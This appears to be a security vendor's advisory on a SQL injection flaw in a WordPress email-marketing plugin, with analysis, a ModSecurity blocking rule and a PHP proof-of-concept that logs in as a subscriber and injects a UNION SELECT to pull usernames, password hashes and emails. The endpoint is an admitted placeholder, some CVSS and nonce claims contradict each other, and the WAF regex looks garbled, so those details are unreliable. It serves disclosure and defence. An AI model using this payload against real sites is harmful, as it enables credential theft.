Atomic Edge analysis of CVE-2026-65547 (metadata-based):
This vulnerability is a SQL Injection flaw in the Creative Mail – Easier WordPress & WooCommerce Email Marketing plugin, affecting versions up to and including 1.6.9. The plugin failed to properly sanitize a user-supplied parameter and did not prepare SQL queries before execution, allowing authenticated users with subscriber-level access to inject additional SQL commands. The CVSS score is 6.5 (High) with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N, indicating a network-accessible attack requiring low privileges, with high confidentiality impact but no impact on integrity or availability.
The root cause is the plugin’s direct inclusion of user input into SQL queries without adequate escaping or prepared statements, as classified by CWE-89. The plugin likely uses WordPress’s $wpdb class but fails to call $wpdb->prepare() and does not properly sanitize the input parameter, leading to SQL injection. The specific affected function or endpoint is not confirmed from code, as the vulnerable version is not available for download. The conclusion is inferred from the CVE description and the CWE classification, which clearly describe insufficient escaping and preparation.
An authenticated attacker with subscriber-level access could target any accessible plugin endpoint that processes user input and constructs SQL queries. The attack likely occurs through an AJAX action or a REST API endpoint registered by the plugin. The attacker would send a crafted request with a malicious parameter value containing SQL injection payloads, such as a UNION SELECT statement, to extract sensitive data. For example, a request to /wp-admin/admin-ajax.php?action=creative_mail_vulnerable_action with a parameter like id=123 UNION SELECT user_login,user_pass FROM wp_users could be used. Since the CVSS vector indicates no nonce is required and the attack is network-based, the attacker can submit the request directly, and the plugin version may lack nonce verification on the vulnerable endpoint.
The fix requires the plugin developers to ensure all SQL queries use prepared statements with $wpdb->prepare() and placeholders for all user-supplied data. Additionally, they should validate and sanitize input, ensuring it matches expected types (e.g., integers) before using it in queries. The patch should also add proper capability checks and nonce verification on all endpoints that process user input, even though the vulnerability exists with a valid nonce. A security plugin or WAF rule can provide a virtual patch to block the exploit traffic until the vendor releases an official fix.
Successful exploitation of this SQL injection vulnerability allows an authenticated attacker to extract sensitive information from the WordPress database, including usernames, password hashes, email addresses, and any other data stored in plugin tables or core WordPress tables. This can lead to account compromise, as the attacker could potentially use the extracted password hashes to crack user credentials and escalate privileges to administrator. The confidentiality impact is high, but the attack does not directly alter or delete data, nor does it lead to remote code execution on its own.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-65547 (metadata-based)
# Metadata-based virtual patch for Creative Mail SQL injection.
# Blocks typical SQLi patterns in the vulnerable POST parameter 'id' on AJAX requests.
# Adjust the action name and parameter if the vulnerability is confirmed to differ.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-65547 SQL injection via Creative Mail AJAX',severity:'CRITICAL',tag:'CVE-2026-65547'"
SecRule ARGS_POST:action "@streq creative_mail_vulnerable_action" "chain"
SecRule ARGS_POST:id "@rx (?i)(union.*select|select.*from|orders+by|sleep(|benchmark(|information_schema)" "t:urlDecode,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65547 - Creative Mail – Easier WordPress & WooCommerce Email Marketing <= 1.6.9 - Authenticated (Subscriber+) SQL Injection
/**
* PoC for CVE-2026-65547.
*
* This PoC demonstrates a SQL injection attack on an assumed vulnerable endpoint.
* Since the exact endpoint is not known from metadata, this script uses a placeholder
* AJAX action and target parameter. Adjust the $action and $param to match the actual
* vulnerable endpoint once identified.
*
* Requirements:
* - WordPress site with Creative Mail plugin version <= 1.6.9
* - Victim user account with Subscriber role (or higher)
* - Valid WordPress nonce for the AJAX action (if required). The PoC assumes nonce is NOT required;
* if nonce is required, you must supply a valid nonce obtained from the victim's session.
*
* Steps:
* 1. Authenticate as subscriber (use cookies via login form or session).
* 2. Send crafted AJAX request with SQL injection payload in the vulnerable parameter.
* 3. Parse response for sensitive data.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // Change to target site
$action = 'creative_mail_vulnerable_action'; // Placeholder: adjust to actual action
$param = 'id'; // Placeholder: adjust to actual parameter
$cookie_file = '/tmp/cookies.txt'; // Path for cookie jar
// ---- Step 1: Authenticate as subscriber (replace with actual login credentials) ----
$login_url = 'https://example.com/wp-login.php';
$username = 'subscriber@example.com'; // Replace
$password = 'YourPassword'; // Replace
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1',
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
$response = curl_exec($ch);
curl_close($ch);
if (!$response) {
die('Login failed.');
}
// ---- Step 2: Build SQL injection payload ----
// Injected into the vulnerable parameter. Adjust the payload to suit the actual query structure.
// Example: UNION-based extraction of wp_users table.
$sql_payload = "0 UNION SELECT user_login,user_pass,user_email FROM wp_users LIMIT 1";
$post_data = [
'action' => $action,
$param => $sql_payload,
];
// ---- Step 3: Send the exploit request ----
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'X-Requested-With: XMLHttpRequest',
'Content-Type: application/x-www-form-urlencoded',
]);
$response = curl_exec($ch);
curl_close($ch);
if ($response === false) {
die('Request failed.');
}
// ---- Step 4: Display response (sensitive data may be in response) ----
echo "Response:n" . $response . "n";
?>
